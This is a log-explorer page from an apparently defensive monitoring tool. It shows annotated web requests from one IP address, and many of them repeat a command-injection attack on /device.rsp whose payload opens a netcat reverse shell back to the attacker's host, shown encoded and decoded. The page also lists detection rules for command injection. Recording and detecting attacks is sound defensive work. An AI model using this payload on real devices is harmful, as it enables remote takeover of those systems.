← Back to IP report

Log Explorer

Fact drill-down for 196.251.84.66

Risk 17 LOW Scope All time All-time facts 36 In-scope 36 Filtered 36 Seen 2025-09-09 → 2025-09-11

Freestyle query (contains)

Time (days, optional)

Page size 25 50 100 200

Apply Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

Annotator (exact) (any) cmdi — 18 base — 12 sfp — 6 Severity (exact) (any) (none) — 12 36 — 6 22 — 6 28 — 6 30 — 6 Label (exact) (any) cmdi — 18 observed — 12 sensitive_file — 6

HTTP facets

Method (exact, case-insensitive) (any) POST — 30 GET — 6 HTTP status (exact) (any) 301 — 36

Snapshot facets

Subnet (exact) (any) 196.251.84.0/24 — 36 ASN (exact) (any) (none) — 36 Country / Region / City (exact)

(any country) The Netherlands — 36 (any region) North Holland — 36

(any city) Amsterdam — 36

Org contains (ip_org or as_org_name)

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Start

End

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

cmdi 18 base 12 sfp 6

Top labels (facts, in-scope)

cmdi 18 observed 12 sensitive_file 6

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 1 — total 36 rows

← Prev Next →

#1 2025-09-11 00:41:35 event 20984773 GET 301 bytes 178

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#2 2025-09-10 20:51:46 event 20949172 GET 301 bytes 178

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#3 2025-09-10 15:05:59 event 20849263 GET 301 bytes 178

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#4 2025-09-10 15:05:59 event 20849260 GET 301 bytes 178

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#5 2025-09-10 13:35:54 event 20806082 GET 301 bytes 178

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#6 2025-09-10 13:35:54 event 20806081 GET 301 bytes 178

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#7 2025-09-10 11:49:59 event 20736402 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#8 2025-09-10 11:49:59 event 20736402 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#9 2025-09-10 11:49:59 event 20736402 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#10 2025-09-10 11:49:59 event 20736402 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#11 2025-09-10 11:49:59 event 20736402 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#12 2025-09-10 07:25:31 event 20569699 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#13 2025-09-10 07:25:31 event 20569699 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#14 2025-09-10 07:25:31 event 20569699 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#15 2025-09-10 07:25:31 event 20569699 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#16 2025-09-10 07:25:31 event 20569699 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#17 2025-09-10 02:26:58 event 20411282 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#18 2025-09-10 02:26:58 event 20411282 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#19 2025-09-10 02:26:58 event 20411282 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#20 2025-09-10 02:26:58 event 20411282 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#21 2025-09-10 02:26:58 event 20411282 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#22 2025-09-09 18:31:50 event 20188405 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#23 2025-09-09 18:31:50 event 20188404 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

subnet

196.251.84.0/24

asn

